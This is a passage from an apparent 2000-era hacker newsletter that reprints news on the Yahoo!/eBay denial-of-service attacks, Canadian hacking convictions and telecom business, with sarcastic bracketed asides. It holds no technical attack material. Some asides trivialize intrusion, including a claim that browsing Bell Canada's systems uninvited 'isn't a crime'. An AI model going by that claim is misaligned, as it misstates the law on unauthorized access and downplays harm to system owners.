SBC-Ameritech, despite its minority +position in Bell, is actually the straw that stirs the BCE drink. + +[BCE can't stir its own drinks now?] + +"SBC has a lot of influence," said consultant Ian Grant of the Angus Tele- +management Group. + +[And that's what it's about... influence.] + +"As I understand it, if Bell does not meet certain growth targets, SBC has a +veto over its business plans." + +[Someone has to tell Bell what to do.] + +Analysts say BCE is building a war chest that could grow to $10.7 billion to +accelerate its new acquisition strategy. The sale of BCE's remaining 2.2 +percent stake in Nortel later this summer will add $4.4 billion to its already +hefty $3.6-billion cash reserve built from the sale of the Bell Canada stake to +Ameritech last spring. + + CANADIAN PRESS + +------------------------------------------------------------------------------- + +Yahoo! site 'hacked-up' for hours + +WASHINGTON -- Computer vandals using a common electronic attack overwhelmed +Yahoo!, the most popular site on the Internet, and rendered the flagship +Web directory inaccessible for several hours Monday. + +Yahoo! spokeswoman Diane Hunt said the company, worth roughly $93 billion US, +was the victim of hackers flooding its equipment with repeated electronic +requests. The vandals did not gain access inside its computers, she said. + +[Victim of hackers? Is that a fact Diane, or is that just your best guess?] + +Yahoo said the problems began Monday about 1:45 p.m. EST and continued for +about four hours. + +The problem also prevented the company's customers from accessing free e-mail +accounts through the Web site. + +The failure drew renewed attention to the risks facing the fledgling world of +electronic commerce, where hackers can shut down the largest online stores. + +[Oh, so hackers shut it down eh?] + +"It basically says nobody is safe, if Yahoo can be taken down with all the +resources behind them," said Elias Levy, chief technology officer at San Mateo, +Calif.-based SecurityFocus.Com. + + ASSOCIATED PRESS + +------------------------------------------------------------------------------- + +Merger will make Linux powerhouse: Corel boss + +TORONTO -- Corel Corp.'s chief executive insisted Monday that a $2.4-billion +US deal with a California software developer doesn't wager the future of his +embattled Ottawa-area company on the strength of Linux, a promising new system +for running a computer's basic functions. + +"We see Windows continuing to be strong for the decade ahead," Michael Cowpland +told a Monday conference call to explain the all-stock transaction. "We're +not gambling anything." + +Cowpland called the deal with Inprise/Borland Corp. -- a provider of high-end +e-commerce and business software -- a merger rather than a takeover because +the two companies don't have any overlapping technologies. + +What the companies have in common is a desire to sell software applications +using Linux, an operating system that can be downloaded for free from the +Internet. Enthusiasm about Linux ignited several furious stock market rallies +in recent months as investors began to regard it as a prime competitor to +Microsoft Corp.'s Windows counterpart. + +[Corel has impeccable taste, but no business sense. They're losing millions.] + +The combined company, which will operate under Corel's name, will be a +"Linux powerhouse," Cowpland promised. + +[Hey, I'll take your word for it COWpland.] + +Linux accounted for a mere five percent of Corel's overall revenues last year. +Cowpland expects that figure to grow to between $20 million and $30 million +this year, to about 10 per cent. + +But it's unclear whether the Linux system, despite being regarded by many +technophiles as cheaper and more reliable than Windows, will ever be able to +take a significant bite out of Microsoft's domination. + +Linux has established itself as a popular software for running Web site +computers, but only a tiny fraction of desktop machines use Linux software, +the vast majority of which run on Windows. + +Cowpland sees that as an asset. + +"The Linux landscape is so huge in opportunity, we don't see any competitors +to what we're doing because we don't see anybody out there with this range +of products," he said. + + CANADIAN PRESS + +------------------------------------------------------------------------------- + +February 10, 2000 +You can now get Yahoo! on phone + +TORONTO -- Bell Mobility announced its latest in a series of Internet-related +alliances Wednesday, enabling customers to access Yahoo! Canada on digital +PCS cell phones equipped with Web browsers. + +[Wowee!] + +Essentially a vehicle to draw more attention to a service and a product that +Bell has offered since May of last year, the deal expands the catalogue of +information services that Bell offers through certain phones; e-mail, access +to online news, business, weather, sports and financial services. + +[Coolio.] + +It's part of a strategy known industry-wide as "convergence" -- the amalgamation +of several products and services into one. + + CANADIAN PRESS + +------------------------------------------------------------------------------- + +Februrary 10, 2000 +FBI searches of high-tech vandals + +WASHINGTON -- Several more cyberspace superstars were hobbled by hit-and-run +hackers Wednesday, providing dramatic evidence of how vulnerable the information +highway is to old-fashioned gridlock. + +[Huh?] + +The FBI has dispatched teams of agents to track down saboteurs using "zombie +computers" in a well-organized campaign to bring several leading Internet sites +to their knees. + +[See, we've been telling you about zombies for years. Now even the FBI has +picked up the term.] + +"These cyber assults have caused millions of Internet users to be denied +services," said Janet Reno, the U.S. attorney general. "They appear to be +intended to disrupt legitimate electronic commerce." + +[Unless they were intended to impress chicks with DDoS attacks. That might +be it too. Ya never know Reno.] + +Seven top Web sites have been crippled in the past three days in ferocious +attacks by unknown and unseen computer vandals. + +[Unknown *and* unseen. Now that's funny.] + +Online stock traders E-Trade and Datek were among those knocked off the +Internet Wednesday. + +[Now we can't have that happening. Commerce must continue.] + +Buy.com, Amazon.com, eBay and CNN were blitzed Tuesday. Almost anyone trying +to gain access to the leading independent Web portal Yahoo! a day earlier, +was shut down. + +[It's the blitz. Duck and cover. Hit the shelters.] + +All the assaults were what are known as denial-of-service attacks, in which a +Web site is bombarded with messages or useless data, effectively blocking out +legitimate users. + +The attacks appeared to be co-ordinated efforts from multiple points on the +Internet. Experts said the vandals likely used "zombie computers" -- machines +that have been electronically broken into and taken over, then used to flood +Web sites with bogus information. + +[There's that "zombie" term again. I'm beginning to think everyone is obsessed +with zombies -- not just us.] + +The attack on Yahoo! was particularly rattling to experts and a sobering +reminder of the hazards which face internet-based businesses. + +[Which experts?] + +"It basically says nobody is safe, if Yahoo can be taken down with all the +resources behind them," said Elias Levy, of SecurityFocus.com in California. + +[Yep.] + +More than 42 million visitors a month log on to Yahoo!, according to the +research firm Media Metrix. + +[Pfft. That's all? We get that in a week.] + +Some experts have speculated the attacks could be a show of strength, preparing +the ground for a blackmail attempt. + +[They always think it's about money. Always thinking blackmail.] + +The attack on Buy.com, for example, appeared to have been timed to coincide with +the company's initial public offering on the stock market. + +[Perfect timing is a gift.] + +Most North Americans don't realize how dependent they have become on computers +-- not only at home or at the office, but also to run their electricity, +telephone, transportation and other infrastructure systems. + +That reliance has made technologically advanced countries such as Canada and the +United States vulnerable to attacks by terrorists who strike through computers +rather than with bombs or bullets. + +[When did Canada become technologically advanced? Nobody notified me dammit!] + +There is an economic cost to Internet logjams. Stock prices for almost all of +those targeted over the past few days were down Wednesday. + +[Now I like that one -- "Internet logjams"] + +Mindful of the economic jeopardy the Clinton administration vowed to bring +hackers to heel swiftly. + +[DoS attacks orchestrated against certain web sites shouldn't instigate a +"war on hackers"... Especially since that's not hacking. So who's to say +hackers are involved/responsible? Yeah, just blame and target them all. Heel +Billy, heel. Down boy.] + +But the FBI has learned just how difficult it is to prevent cyber-assaults +like these. In April, the legendary federal police force itself fell victim to +a hacker-attack when pranksters overwhelmed its internet computers and cut off +access for days. + + ASSOCIATED PRESS + +------------------------------------------------------------------------------- + +BCE spinoff of Nortel befuddles stockholders + +TORONTO -- BCE Inc.'s monumental spinoff of most of its interest in Nortel +Networks Corp. -- worth about $90 billion at Nortel's current stock price -- +has confused many of BCE's half-million shareholders. + +Here's a selection of the most common queries. + +* What's happening? + +[I don't know. You tell me.] + +By mid-year, BCE will give just over 500 million Nortel shares to its own +shareholders -- somewhat like a dividend, although investors will simply get +something they already own. The market price of BCE stock will almost certainly +drop like a rock as soon as the shares no longer include a Nortel stake. + +BCE shareholders will get 0.78 of a Nortel share for each BCE share. So an +investor with 100 BCE shares prior to the transaction will hold 100 BCE shares +and 78 Nortel common shares afterward. + +* Why are they doing it? + +[Again, don't ask me. Tell me.] + +BCE's managers think the stock market is undervaluing their vast telephone and +Internet business because investors can't see past the company's 39 per cent +interest in booming Nortel. At current valuations, the market assigns a value +of less than $20 billion to non-Nortel BCE assets which analysts say are worth +$50 billion or more. + +"The distribution of the NOrtel Networks shares will begin to unlock significant +and sustainable value for BCE shareholders," BCE president Jean Monty said last +month when he announced the spinoff. + +* When does it happen? + +[Uhh... $50 says no date has been set.] + +No date has been set, but BCE hopes to complete the spinoff by June 30. Its +stockholders must approve the deal at their annual meeting April 26, and Nortel +shareholders must clear it at their annual meeting in April or May. + +[Hey, I was right. Pay up.] + +BCE will announce a "date of certificate of arrangement." Only shareholders +of record on that date will get the Nortel shares. + +* If I buy BCE shares now, will I get Nortel stock? + +Yes. But there's no windfall. When the spinoff takes place, it will be as +though 0.78 of a Nortel share has been sucked out of each BCE share. + +* If I sell BCE stock now, will I still get Nortel shares? + +No, because you'll no longer be a BCE stockholder; only shareholders on the +date of certificate of arrangement will get them. + +[Awww. Please? C'mon. Do me a personal favour. Gimme Nortel shares.] + +* Do I get taxed on my new Nortel stock? + +It's not taxable until you sell the shares or dispose of them in some other +way, including transfers to a registered retirement savings plan. If you sell +the Nortel stock outside an RRSP, complicated rules apply. + +* What about my BCE divident? + +BCE, as a much smaller company without Nortel, plans to reduce its annual +dividend to $1.20 from the current $1.36. But Nortel also pays an annual +dividend of 15 cents US, or just under 22 cents Cdn, and 0.78 of this is about +17 cents. That means a total dividend of $1.37. + + CANADIAN PRESS + +------------------------------------------------------------------------------- + +FBI chasing 'daemons' and 'zombies' to prevent another big hack attack + +WASHINGTON -- Acknowledging they have a difficult case to crack, U.S. government +cybersleuths found a small silver lining Thursday in this week's computer +attacks on Internet electronic commerce sites. + +[Cybersleuths has a nice ring to it.] + +"At least, there's massive awareness of this now," said John Bentivoglio, +counsel to the deputy attorney general. + +[Massive awareness that'll last about 15 seconds, at most.] + +"This week's events did more than we have ever been able to do with white papers +and posting fixes on our Web site to alert the private sector to the dangers +out there." + +[But those white pages make for an interesting read though.] + +So, private Internet service providers and Internet sites have been turning +over computer logs to help trace the attacks that temporarily shut sites like +eBay and ETrade, Bentivoglio said. + +Investigators would prefer to trace attacks while still in progress but that +is difficult. Afterward, they must rely on transaction records at company +sites, university computer systems and Internet service providers. The quality +of these records varies. + +Deputy attorney general Eric Holder acknowledged Thursday: "This is going to +be a difficult case to crack" but the FBI is pursuing leads. + +[I knew it all along. The FBI are a bunch of crackers.] + +"This is...a hot investigation," Holder said. "These are people who are +criminals and we will do all that we can to find them, to prosectue them and +to put them in jail." + +[Aren't they criminal hackers or cyber criminals or something?] + +With tens of millions of dollars in losses possible, Holder said the attacks +might lead to tougher penalties than the current 10-year maximum prison sentence +for second offences. + +[That's steep.] + +The White House also announced Thursday that President Bill Clinton will meet +with the country's top computer-security experts and technology executives in +part to talk about the attacks. The White House said the meeting had originally +been organized on the heels of the president's budget proposal for $2.03 billion +to protect the country's most important computer systems from cyberattacks. + +[What I wouldn't have done to be a fly on the wall during that meeting.] + +Months ago, a Carnegie-Mellon University team issued a white paper warning about +denial of service attacks like those this week. + +[CERT uses *really* white paper too. It's hyper-bright-white.] + +Over the New Year's weekend, the FBI posted free software on its Web site that +detects whether denial-of-service tools, known as daemons, had been secretly +placed on their computers. Some 2,600 companies and others downloaded the free +software and three found daemons. + +[That's a lot of daemons.] + +These daemons are later activated by a signal from a remote location or an +internal timer to attack a victim computer site with so many messages it cannot +handle them all. The victim computer sites are tied up and shut down, like an +overloaded telephone. Investigators call the computers that unwittingly house +these daemons "zombie computers." + +[Chase those daemons and zombies FBI. Chase 'em.] + +The U.S. Defence Department said all its computers will be checked to verify +they were not used as unwitting agents in this week's attack. And the General +Services Administration also alerted all federal agencies to ways they can +prevent hacking. + +Dozens, even hundreds of zombie computers have been used in past attacks, +Bentivoglio said. The number could reach thousands. And the daemons arrive +at the victim site with phony return addresses, making them harder to trace. + + ASSOCIATED PRESS + +------------------------------------------------------------------------------- + +No shortage of conspiracy theories + +While the FBI and other investigators search for the culprits of this week's +cyber-attacks against popular Web sites such as Yahoo and eBay, legions of +computer enthusiasts, armchair gumshoes, hackers and conspiracy theorists are +having no trouble proposing leads of their own. + +[Personally, I don't sit in armchairs wearing gummy shoes. Sue me.] + +Suspects ranging from Microsoft Corp. Chairman Bill Gates to Attorney General +Janet Reno are named in varous Web chat rooms and discussion groups as potential +-- if unlikely -- perpetrators of one of the most coordinated and disruptive +hacks the Web has ever seen. + +[Personally, I think it was Reno. Unless Janet Reno and the late Andy Warhol +had some kind of strange little love child who's the real person responsible +for perpetrating these attacks. Now there's a thought.] + +So is Kevin Mitnick, the notorious hacker who went to prison for stealing +millions of dollars in software from computer and cellular phone companies in +the early 1990s. Mitnick's five years behind bars came to an end last month, +although he is forbidden from using computer for three years. + +[Then again, it could've been Mitnick seeking revenge. That seems plausible.] + +One of the most widespread theories is that a handful of "kids" launched the +attack just to see if they could pull it off. Some speculators went into great +detail describing the possible culprits, right down to their pimply faces, +blaring music and pocket protectors. + +[Now that's just outlandish...] + +Another common belief is that the attacks were launched by computer security +experts in an attempt to drum up demand for their services. Shares of computer +security companies such as VeriSign and Check Point Software Technologies +spiked up during the week. + +[That's a ludicrous theory. That's almost like accusing an anti-virus software +company creating and spreading viruses, just so they can profit from the mass +hysteria generated. It's not a theory. It's a myth. They'd *never* do that.] + +The most likely candidate, according to chat room visitors, is China. Should +the Red Army attack the United States, the first step would surely be to disrupt +the U.S. communications system, several military buffs suggest. + +[Yeah. China would definitely target EBay and Yahoo! Definitely.] + + LOS ANGELES TIMES + +------------------------------------------------------------------------------- + +Canadian company reports attack + +TORONTO -- Computer vandals crippled Toronto-based music retailer HMV.com on +Monday, the same day Internet giants Yahoo! and Amazon.com fell to similar +attacks, but it was days before a special high-tech Mountie unit was alerted, +the Toronto Star reports. + +[A special high-tech Mountie unit? That almost sounds like it was taken +directly from the latest sci-fi "Cyberpunk" genre novel... Don't make me laugh.] + +Frank Koblum, director of consumer e-commerce at HMV.com said the site was hit +at 3 p.m. Monday. "People here working on our Internet site realized that it +was very slow to respond or it was not responding," Koblum said. + +"Our information technology guys looked into it and they discovered our system +was working at 100 per cent. It was ready to go down." + +[100% efficiency. That's awesome. What are you complaining about?] + +They ended up closing the site for an hour, Koblum said. + +[And I was trying to buy CDs online for $25 plus S&H dammit!] + +But HMV.com didn't release information about the attack until Friday morning, +days after the attack. Koblum said they hadn't experienced such an attack +until then, and they sent data to IBM for analysis before concluding that it +had been a "distributed denial of service" attack. + +[Did IBM come up with that conclusion all on their own?] + +The HMV.com attack is the first reported incident in Canada since denial of +service attacks flooded several major U.S. sites with an overwhelming amount +of data that prevented normal users from getting access to the popular sites. + +However, the RCMP's specialized computer crime division in Ontario hadn't even +heard of the HMV.com attack until four hours after HMV reported the incident. + +[Haha.] + +When reached by telephone Friday afternoon, RCMP Const. Ron Rimnyak, one of two +RCMP computer crime specialists in Ontario, said local RCMP investigators hadn't +yet informed him of the hit on HMV. + +[They've got 2 RCMP computer crime specialists in Ontario now? I'm impressed.] + +Cpl. Frank Koenig, an RCMP commercial crime officer in Toronto handling the +investigation, wouldn't comment on the case. When asked if the case was urgent, +he said: "Everything here is urgent." + +[Arresting 15-year-olds is urgent business. Hehe.] + +Canadian authorities have complained that they don't have the resources to +investigate most computer crimes. + +[Not enough tax dollars available to fund them?] + +Computer security experts have warned that the trail of information left by the +type of denial of service attack launched this week gets cold quickly. They +say the hackers in these latest attacks commandeered scores of slave computers +and programmed them to send huge quantities of information to overload the +victim sites. + +[Not slave computers, zombie computers. Get it right.] + +Investigators have to try to find the slave computers, then to examine for clues +to where the attack was ultimately launched. + +[Just like Sherlock Holmes.] + +At least three other Web sites, including Excite@Home, an Internet service +provider, were also attacked last week but didn't announce it at the time, the +New York Times reported. + + CANADIAN PRESS + +------------------------------------------------------------------------------- + +Experts trace computer used in hacker attacks + +WASHINGTON -- Experts investigating attacks against major commercial Web sites +this week confirmed Friday that a computer and an Internet device used by +vandals as weapons have been traced to two California universities. + +The vandals used a desktop computer at the University of California at Santa +Barbara and an Internet router -- a device that can amplify data traffic -- from +Stanford University, officials at both schools acknowledged Friday. + +There was no indication that anyone at either university was directly involved, +only that their equipment was used. Experts believe dozens of computers across +the United States were hacked and had electronic attack software secretly +installed. + +"They've attacked us in a way that hurts what we do as a university, and hurts +all universities," said Robert Sugar, chairman of the information technology +board in Santa Barbara. The school's computer was believed used in the attack +against CNN's Web site on Tuesday. + +[How was the university attacked? In what way? How does it hurt all +universities?] + +Stanford said one of its routers located at a remote wildlife preserve was used +to transmit some of the data aimed against eBay's Web site for about 30 minutes +before engineers blocked hackers from using it. + +[Those mischievious hackers.] + +"It's really out in the middle of nowhere," said Dave Brumley, assistant +computer security officer at the school. He said engineers have checked +Stanford's other routers to prevent their similar misuse. + +Meanwhile, experts investigating the case suggested that the vandals in Monday's +attack against the flagship Yahoo! Web site -- the first to be shut down for +hours -- may have been far more sophisticated than originally believed. + +A senior official with the FBI's National Infrastructure Protection Center, +Ronald Dick, said previously that automated hacker tools widely available on the +Internet mean that "a 15-year-old kid could launch these attacks." + +[Point and click, right Dick?] + +"This is not something that takes a great deal of sophistication to do," Dick +said. + +[What else did Dick say? Dick all?] + +But e-mail from Yahoo! engineers describing the attack in unprecedented detail +said the vandals apparently "knew about our topology and planned this large- +scale attack in advance," and that other companies hit this week were also +targeted "where it hurts the most." + +[Below the belt for double damage. No loss of points for low blow.] + +This e-mail, sent as a warning to some Internet providers and obtained by the +Associated Press, also described the Yahoo! attackers as "smart and above your +average script kiddie," a derisive term for an unskilled hacker. + +[Let me get this straight. Script kiddies are unskilled hackers? They just +need to go to sk00l and get more skillz right?] + +It said the hackers "probably know both Unix and networking ... pretty well +and learn about site topology to find weak spots." + +[Nah. Most hackers don't know Unix, or know much about networking. You're +perpetuating another myth.] + +An executive at GlobalCenter Inc., which provides Yahoo!'s Internet connection, +also said Friday that engineers there were surprised during the attack, which +flooded Yahoo! with more data each second than some major Web sites receive +under normal conditions in an entire week. + + ASSOCIATED PRESS + +------------------------------------------------------------------------------- + +FBI admits its site was attacked + +BY TED BRIDIS +AP Technology Writer + +WASHINGTON (AP) -- The FBI acknowledged Friday that electronic vandals shut down +its own Internet site for hours last week in the same type of attack that +disrupted some of the Web's major commercial sites. + +The bureau's Web site, www.fbi.gov, remained inaccessible for more than three +hours Feb. 18 because vandals overwhelmed it by transmitting spurious signals. + +``The FBI has made comments they're going to find who's responsible for the +latest attacks, so it's a bit of war between the hackers and the bureau,'' +said James Williams, a Chicago lawyer and former FBI agent who specialized in +investigating computer crimes. + +[I'm still waiting for the sequel to X-Men. It's gonna be called "The X-Men +take on the G-Men.] + +The technique, which doesn't require particular sophistication, is similar to +repeatedly dialing a phone number to block all other incoming calls. Last year, +the FBI pulled down its World Wide Web site for days after hackers overwhelmed +it using the same type of attack. + +[No, it's exactly the same thing.] + +No one has claimed responsibility for launching last week's attack against the +same law enforcement agency that is investigating serious disruptions earlier +this month at Yahoo!, eBay, ETrade, Amazon.Com and others. + +[It was me. Honest.] + +``Pretty much anyone is a target,'' agreed John McGowan, a research engineer at +ICSA.Net, a computer security firm. He wasn't surprised no one has claimed +credit. + +[Read above comment.] + +``I don't think I'd want to go around bragging that it was my group that shut +down the FBI,'' McGowan said. ``They're certainly turning up the carpets and +looking for anything they can find.'' + +[Nickles and dimes. Nothing more. I checked under the FBI's carpets long ago +and that's all I managed to find hidden.] + +The FBI said last week that it couldn't determine whether the problem was a +technical fault or malicious attack, but a spokeswoman, Deborah Weierman, +confirmed Friday that vandals were responsible. She declined to say whether +there was any evidence, other than the coincidence in timing, to link last +week's attack against the FBI to those against other Web sites. + +The FBI noted that its computers weren't broken into, and that its affected +Internet site is separate from all its internal systems, including investigative +files. ``We have had no more problems since then,'' Weierman said. + +[Well that's comforting to hear. You had me worried for a second.] + +Engineers at IBM, who run the FBI's Internet site under a federal contract, +``took the appropriate steps to get our Web site back and running (and) continue +to look into remedies and actions to minimize this from happening again,'' +Weierman said. + +[IBM helped out HMV with their little problem too. Kudos to Big Blue.] + +Copyright (C) 2000 Associated Press. All rights reserved. + +------------------------------------------------------------------------------- + +AMD shows off world's fastest computer chip +WebPosted Tue Mar 7 16:58:07 2000 + +NEW YORK - A battle has been won in the war between computer chip makers. On +Tuesday, Advanced Micro Devices (AMD) came out with the fastest chip ever, a +one gigahertz chip. + +"This is going from a bicycle, to a Volkswagen Rabbit, to a Maserati, to some +kind of rocket sled," said Alex Ferworn, a computer professor at Ryerson +Polytechnic University in Toronto. + +[Personally, I like the journalists that Ryerson turns out. They're good.] + +AMD says it's already started to ship its one GHz AMD Athlon processors. +More importantly, it beat its larger rival, Intel Corp. + +[It beats Big Bro Inside. That's for sure.] + +But the war isn't over. Intel is expected to make its own announcement this +week. + +[Another Celeron chip?] + +Steve Lapinski, director of product marketing in AMD's Computation Products +Group, likened the achievement of the gigahertz processor to breaking the sound +barrier. + +But while the new chip makes computers faster, it's really too powerful for most +home computers. + +That won't matter to consumers, say some retailers. + +"It's compared to back in the '50s, with everyone having to have the most +powerful car, the fastest car. And now a lot of people are doing that with +their computer," said Ben Hatfield of Mediascape. + +[Definitely. I've modified this 286 so much in the last 12 years that it's +like a VIC-20 on steroids. Top that.] + +The first commercially available systems based on the chip will come from +Compaq Computer Corp. and Gateway Inc. + +Compaq says it will sell the high-speed computers with prices starting as +low as $2,000 and going up to $3,300. + +Copyright (C) 2000 CBC. All Rights Reserved. + +------------------------------------------------------------------------------- + +Hackers Get Message in Canada +Reuters +3:00 a.m. 1.Mar.2000 PST + +QUEBEC CITY -- A Quebec court Tuesday convicted a 22-year-old man of hacking +the computers of government and corporate institutions -- the first time a +Canadian court has passed sentence in such a case. + +[It isn't the first time someone in Canada has been charged, fined or given +community service in such a case. But it might be the first time someone +has been convicted in a highly publicized ruling.] + +In a 12-page ruling, Quebec Court Justice Andre Bilodeau found Quebec City +resident Pierre-Guy Lavoie guilty under Canada's criminal code of fraudulently +using computer passwords to perpetrate computer crimes. + +[Just what was the actual crime that he committed using a computer?] + +"The court cannot ignore the fact that the computer world which is poised to +face a dazzling expansion and will become, like other types of payment or +communications means invented by our societies, the theater of more and more +fertile criminal acts," the judge wrote. + +[What?] + +Lavoie, a security consultant with the Quebec-based financial institution +Desjardins-Laurentian, was sentenced to 12 months of community service and +placed on 12 months of probation. + +He was also ordered not to touch a computer or surf the Internet over the next +12 months, except on the job and under surveillance. + +[They took a page from the Mitnick case.] + +He was found guilty of hacking hundreds of passwords, and access codes to break +into dozens of unauthorized government and corporate sites in 1998 -- including +the Canadian Department of National Defense, the U.S. military, the Federal +Bureau of Investigation, and companies such as Bell Canada and the National Bank +of Canada. + +[Taking a look around on Bell Canada's systems isn't a crime.] + +The hacker, and two friends who were discharged, listed the passwords and access +codes on a Web site they created called "Corruption Addicts" and invited surfers +around the world to penetrate computer systems and hack away. + +[That was his first stupid move.] + +"I have learned a lesson," Lavoie told reporters at the Quebec City courthouse. + +[The second was hacking in Quebec, a province that's known for arresting more +hackers than all of the rest combined.] + +His lawyer, Claude Dallaire, said that there were no legal precedents for this +new form of cyber crime in Canada's history, noting that only a handful of +hackers had been arrested in Canada. + +[More than just a handful. Not all arrests were so well publisized.] + +Dallaire said the court's message was loud and clear. + +[I didn't hear it. Too much line noise.] + +"The message is clear. The judge tells everybody, 'Don't play with the Internet, +and don't go too far with the Internet, because you are going to pass Go and go +to jail,'" she said, referring the board game Monopoly. + +[What's the message again? I didn't get it. Don't play with the Internet? I'm +confused. What does Monopoly have to do with anything?] + +"It is a message that it is a crime, and they shouldn't do it, and they will get +punished for it," added Crown Prosecutor Pierre Lapointe. + +[What's the message again? Don't be stupid, and don't post codes on web sites?] + +Lavoie was also convicted Tuesday of planning to make explosives substances, +through another Internet site called "Phaust Laboratories." + +[That was his third stupid move.] + +For that he received a second 12-month community work sentence, to be served +concurrently with the first. + +[Mr. Lavoie was very lucky to get a light sentence like that.] + +Copyright (C) 1999-2000 Reuters Limited. + +------------------------------------------------------------------------------- + +Daily News +Canadian Hacker Convicted +By Martin Stone, Newsbytes. +March 02, 2000 + +For the first time, a Canadian court has convicted a person accused of hacking, +setting a landmark precedent in Canadian law. + +[At least Canadian courts are extremely fair.] + +According to a Reuters report today, a Quebec court convicted a 22-year-old man +on Tuesday of cracking several Canadian and US government computers as well as +penetrating the systems of several corporate entities. + +Quebec Court Justice Andre Bilodeau found Quebec City resident Pierre-Guy Lavoie +guilty under Canada's criminal code of fraudulently using computer passwords to +perpetrate crimes, the report said. + +[snip] + +Reuters reported he was also found to have posted illicit passwords and access +codes on a Web site called "Corruption Addicts" where he invited other surfers +to penetrate computer systems and hack away. + +Defense lawyer Claude Dallaire told reporters there were no legal precedents for +this form of cybercrime in Canada, noting that only a handful of hackers had +ever been arrested in the country. + +[Cybercrime in Canada. What'll they think of next?] + +Lavoie was also convicted on Tuesday of planning to make explosive substances +through another Internet site called "Phaust Laboratories". He received a second +12-month community work sentence for that crime, to be served concurrently with +the first, said Reuters. + +[Any word on what he was planning to blow up? Was he going to make the +explosives in his garage and test them in the park?] + +Reported by Newsbytes.com + +------------------------------------------------------------------------------- + +Teen hacker charged with vandalizing anti-drug Web site + +CONCORD, H.H. -- A 17-year-old computer hacker questioned by the FBI about +crippling attacks on major Internet sites last month has been charged with +vandalizing an anti-drug Web site. + +Dennis Moran was charged Wednesday with two counts of unauthorized access to +a computer system. Each charge is punishable by up to 15 years in prison. + +[That's 30 years. Not too harsh IMO.] + +Moran, a high school dropout, allegedly hacked into the Los Angeles Police +Department Web site DARE.COM twice in November and defaced it with pro-drug +slogans and images, including one depicting Donald Duck with a hypodermic +syringe in his arm. + +[Why go out of your way to mention that he's a high school dropout?] + +He was released on $5,000 US bail. No arraignment was set. + +[I've got that much in my piggy bank. (It has the RCMP logo painted on it +for dramatic effect too)] + +Moran, who uses the Internet name Coolio, also was questioned by FBI agents last +month after allegedly boasting in an Internet chat room that he was responsible +for several "denial of service" attacks on major commercial sites, including +those of Yahoo! and eBay. + +[Which Coolio? The original or Coolio4529?] + +In an interview with Associated Press last week, he denied causing those +problems, and assistant Attorney General Michael Delaney said it was unlikely +that Moran would be charged. Authorities have said Coolio -- the name of a +popular rap singer -- is used by many people online. + +[What? No, is it really a common alias?] + +Authorities are still investigating claims that Moran hacked two other sites: +a U.S. Commerce Department site and one operated by an Internet security +company. + +[Might as well bust him on those too.] + +Moran's father, also named Dennis, said Wednesday that his son doesn't want to +talk to the media anymore. + +[You mean he has the same name as his son? That's weird.] + + ASSOCIATED PRESS + +------------------------------------------------------------------------------- + +Hundreds of hacker attacks hit Ottawa + +JEFF SALLOT and ANDREW MITROVICA +Ottawa and Toronto +Wednesday, March 15, 2000 +The Globe and Mail + +Hackers attacked some of Canada's most sensitive military and government +computer systems 531 times in two months last year. None of the attacks appears +to have been successful. + +[There aren't any senstive military secrets in Canada anyway.] + +Nevertheless, a study confirms Ottawa's worst fears about the seriousness of the +threat to crucial federal systems as hacker tools become more sophisticated and +proliferate. + +[It's all about the tools Feds.] + +Government systems "are being probed, scanned and attacked on a regular basis," +says the study conducted by computer security experts hired by Ottawa. + +[Probe 'em. Hehe.] + +A typical government Internet site "is subject to 10 or more threat incidents +per week. In some cases, peaks of greater than 40 incidents were observed for a +site during a week," the study continues. + +[That's it?!? I thought the number would be exaggerated, so that it'd be closer +to 4,000 incidents per week. You're never going to get more funding if you +don't inflate the statistics. Follow Stats Canada's example, and lie.] + +Most attacks appear to have come from within Canada, but there were also a high +number from Britain and the United States and a handful from 29 other countries, +including China and Russia. The study was commissioned by the federal government +and completed five months ago by Electronic Warfare Associates Canada Ltd., a +cyber security firm. It was released to the Reform Party research office under +the Access to Information Act. + +[China isn't hostile though. Nah. The Chinese government is our friend.] + +Since the study's completion in November, hackers have developed newer and more +sophisticated programs to probe, break into and overwhelm computer systems, +forcing them to crash, say officials with the Communications Security +Establishment. (The CSE is a top-secret branch of the Department of National +Defence involved in electronic snooping). + +[The CSE is another branch of Big Brother. Their number is unlisted.] + +Last month, hackers successfully launched so-called denial-of-service attacks on +several major dot-com commercial systems, temporarily putting computers out of +business at Amazon, eBay and Yahoo, among others. Federal officials say the +consequences would be far more serious if hackers are successfully attacking +government systems such as those at the Department of National Defence, CSE +itself, Correctional Services, Transport Canada, Public Works, and the Canadian +International Development Agency, the six entities whose systems were included +in the study. + +[It's going to get far more serious. Well, maybe.] + +There were 34 denial-of-service attacks on the federal computers during the +two-month study, all unsuccessful. The cyber sleuths also detected 23 failed +attempts to break into computers and steal or alter data and 474 surreptitious +probes for vulnerabilities of the six systems in the study. + +[Scan and sniff.] + +"Since November of 1999 [when the study was completed], a lot of things have +moved along and complacency and smugness on the part of people is wrong," CSE +spokesman Kevin Mills said yesterday. + +Although the hackers appear to have been unable to breach firewalls (basic +computer system security) and other security measures protecting the systems +at the six agencies, the study shows "these various government departments +were a target and we can't rest on our laurels," Mr. Mills said. + +[Appearances can be deceiving.] + +In fact, the government is trying to keep up with the hackers and introduce +state-of-the-art protective measures, he added. + +[The Canadian government and state-of-the-art security aren't synonymous.] + +Military and intelligence experts in Canada and the United States have said +for several years that enemy states could try to cripple the systems of Western +nations during an international crisis or crack into classified data bases. + +[Who says they haven't done just that already?] + +However in this study, Mr. Mills said, there was no evidence that any of the +attacks were from hostile governments, although CSE cannot be certain. + +[Why didn't Mr. Mills keep his mouth shut then?] + +The study suggests the threat is wide ranging. "The results of this project are +simply a snapshot of a portion of the threat environment at a particular point +of time." + +[It's a Kodak moment.] + +The study recommends implementing hacker-detection systems at many more federal +computer networks. + +[Hire Bell. I hear they're good.] + +The study also recommends establishing a central hack-attack reporting and +response office within the federal government. + +[You better give the RCMP a larger budget.] + +Art Hanger, the Reform Party's defence critic, said that the federal government +has been asleep at the switch when it comes to protecting Canada's computer +systems. + +[Asleep at the switch like Bell?] + +He said that more money is urgently needed to rectify a looming crisis. + +A veteran computer security expert, who requested anonymity, said that Canada +has been slow to respond to the potentially catastrophic threat to the nation's +computer infrastructure posed by hackers acting individually or sponsored by +foreign governments. + +(C) 2000 Globe Information Services + +------------------------------------------------------------------------------- + +Hackers not heros, security officials say. + +By Robert Russo +CANADIAN PRESS + +WASHINGTON -- Canadian Solicitor General Lawrence MacAulay derided the heroic +status accorded computer hackers, equating them instead with murderous gangsters +who terrorized the United States in the 1920s and '30s. + +[Murderous gangsters? Now those are some strong words. Them's fightin' words!] + +MacAulay discussed the expensive wave of recent hack attacks Friday with U.S. +Justice Secretary 